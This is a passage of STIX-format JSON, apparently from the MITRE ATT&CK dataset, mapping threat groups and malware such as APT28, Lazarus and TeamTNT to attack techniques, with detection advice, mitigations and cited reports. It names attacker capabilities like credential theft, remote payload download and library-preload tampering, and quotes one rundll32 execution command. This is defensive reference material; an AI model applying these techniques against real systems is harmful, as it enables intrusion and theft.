2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T15:50:39.946Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) queried compromised victim's active directory servers to obtain the list of employees including administrator accounts.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58","type":"relationship","created":"2017-05-31T21:33:27.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T13:30:22.327Z","description":"[APT28](https://attack.mitre.org/groups/G0007) executed [CHOPSTICK](https://attack.mitre.org/software/S0023) by using rundll32 commands such as rundll32.exe “C:\\Windows\\twain_64.dll”. [APT28](https://attack.mitre.org/groups/G0007) also executed a .dll for a first stage dropper using rundll32.exe. An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.(Citation: Crowdstrike DNC June 2016)(Citation: Bitdefender APT28 Dec 2015)(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit 42 Playbook Dec 2017)(Citation: ESET Zebrocy May 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f27fb1d-f888-4167-a08c-781dde29755d","created":"2022-04-15T14:54:42.003Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) can identify if incoming HTTP traffic contains a token and if so it will intercept the traffic and process the received command.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T14:54:42.003Z","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f285c6f-9d12-49d9-b436-d9236ffb4ea5","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f2d973c-aa06-42a1-9490-1e799c0a5ee2","created":"2020-02-20T16:58:50.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Common Conditional Access Policies","description":"Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"},{"source_name":"Okta Block Anonymizing Services","description":"Moussa Diallo and Brett Winterford. (2024, April 26). How to Block Anonymizing Services using Okta. Retrieved May 28, 2024.","url":"https://sec.okta.com/blockanonymizers"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T18:49:02.405Z","description":"Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies) Consider blocking risky authentication requests, such as those originating from anonymizing services/proxies.(Citation: Okta Block Anonymizing Services)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f321c37-1463-4b55-a3d5-f2e517ede0b7","type":"relationship","created":"2020-12-22T19:11:27.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-22T19:11:27.247Z","description":"(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f327170-23d8-4273-ae1f-81aeb5c243fa","created":"2022-09-28T13:54:44.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Azure AD PTA Vulnerabilities","description":"Dr. Nestori Syynimaa. (2022, September 20). Exploiting Azure AD PTA vulnerabilities: Creating backdoor and harvesting credentials. Retrieved September 28, 2022.","url":"https://o365blog.com/post/pta/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-22T13:23:07.421Z","description":"Monitor for discrepancies in authentication to cloud services, such as PTA sign-ins recorded in Entra ID that lack corresponding events in AD.(Citation: Azure AD PTA Vulnerabilities)","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f354951-cd88-4193-b3d5-b95038938c7f","created":"2022-10-12T19:34:38.832Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T19:34:38.832Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors set up remote tunneling using an SSH tool to maintain access to a compromised environment.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f389f41-9588-4a67-a186-c25bef45e4cc","created":"2022-02-18T16:46:39.347Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) can search files on the target host by extension, including doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z.(Citation: Microsoft Actinium February 2022) ","modified":"2022-04-15T12:35:27.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f3c8b37-8437-499b-8b13-d9d6f025a5f3","created":"2024-07-08T17:55:53.076Z","revoked":false,"external_references":[{"source_name":"ORB Mandiant","description":"Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-08T17:55:53.076Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has utilized an ORB (operational relay box) network – consisting compromised devices such as small office and home office (SOHO) routers, IoT devices, and leased virtual private servers (VPS) – to proxy traffic.(Citation: ORB Mandiant) ","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f40c44c-80c5-4f9d-a467-6b71f646cdf7","created":"2022-04-13T13:17:13.025Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can collect data and files from a compromised host.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-13T13:17:13.025Z","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f41386c-5760-409e-b8b4-513f3d791d9f","type":"relationship","created":"2019-01-29T18:23:46.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2020-03-16T16:43:12.123Z","description":"[DOGCALL](https://attack.mitre.org/software/S0213) can download and execute additional payloads.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f43b5c3-883a-40b7-b9b2-a96ba8c7001b","type":"relationship","created":"2020-05-18T21:01:51.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.292Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) used SCP to update the miner from the C2.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f4b9d5d-6ad7-4cca-9869-551604450f91","type":"relationship","created":"2019-06-21T17:26:42.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.091Z","description":"Have a strict approval policy for use of deployment systems.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f4e363a-ce2b-4a36-92fb-791d8ffc30d5","created":"2021-10-01T01:57:31.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cado Security TeamTNT Worm August 2020","description":"Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.","url":"https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Lacework TeamTNT May 2021","description":"Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.","url":"https://www.lacework.com/blog/taking-teamtnt-docker-images-offline"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:05:46.047Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has deployed XMRig Docker images to mine cryptocurrency.(Citation: Lacework TeamTNT May 2021)(Citation: Cado Security TeamTNT Worm August 2020) [TeamTNT](https://attack.mitre.org/groups/G0139) has also infected Docker containers and Kubernetes clusters with XMRig, and used RainbowMiner and lolMiner for mining cryptocurrency.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f4eca0c-db40-481a-8dac-1b2f0c6dfd9c","created":"2022-03-30T14:26:51.851Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor changes made to cloud services for unexpected modifications to settings and/or data.","modified":"2022-04-14T16:17:04.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f5086fd-1cae-4f43-8a23-e47ace0620db","type":"relationship","created":"2020-03-10T18:34:39.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-10T18:34:39.967Z","relationship_type":"revoked-by","source_ref":"attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f533903-39c5-4463-a0f6-8017fc6b10ab","created":"2022-07-14T17:31:58.704Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."},{"source_name":"BlackBerry Amadey 2020","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)","modified":"2022-07-14T17:31:58.704Z","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f55bbbb-7404-4872-9832-c884297cdbe9","type":"relationship","created":"2020-11-08T23:28:07.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:28:07.895Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to download and execute code from remote servers.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f56f7af-962a-4d2f-89db-7c1d89b79a32","type":"relationship","created":"2020-03-20T23:57:45.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-20T23:57:45.660Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using RSA-2048.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f58a6f1-f95b-4f38-8347-995880aa6029","created":"2021-01-08T20:43:41.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary NETWIRE January 2020","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"},{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"},{"source_name":"Proofpoint NETWIRE December 2020","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.583Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to steal credentials from web browsers including Internet Explorer, Opera, Yandex, and Chrome.(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f58f0fa-54ca-412e-a681-2f864e217039","type":"relationship","created":"2019-01-29T18:55:20.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."}],"modified":"2020-03-20T17:43:32.421Z","description":"[Remcos](https://attack.mitre.org/software/S0332) can launch a remote command line to execute commands on the victim’s machine.(Citation: Fortinet Remcos Feb 2017)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8f5db833-979f-43c1-a28c-8a9ef3bb7980","created":"2022-03-25T16:21:29.432Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute the net localgroup administrators command on a targeted system.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:26:19.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f5e9158-1abe-4ed7-8a0a-df07f629aac8","type":"relationship","created":"2020-05-21T21:31:34.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.306Z","description":"[Pony](https://attack.mitre.org/software/S0453) has delayed execution using a built-in function to avoid detection and analysis.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f5fdbbc-73b1-48a6-9916-67c0baa0f66e","type":"relationship","created":"2021-04-09T15:11:36.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:36.659Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has modified /etc/ld.so.preload to overwrite readdir() and readdir64().(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f666cbe-d814-4702-9287-87648469141a","created":"2024-09-16T09:01:28.960Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the 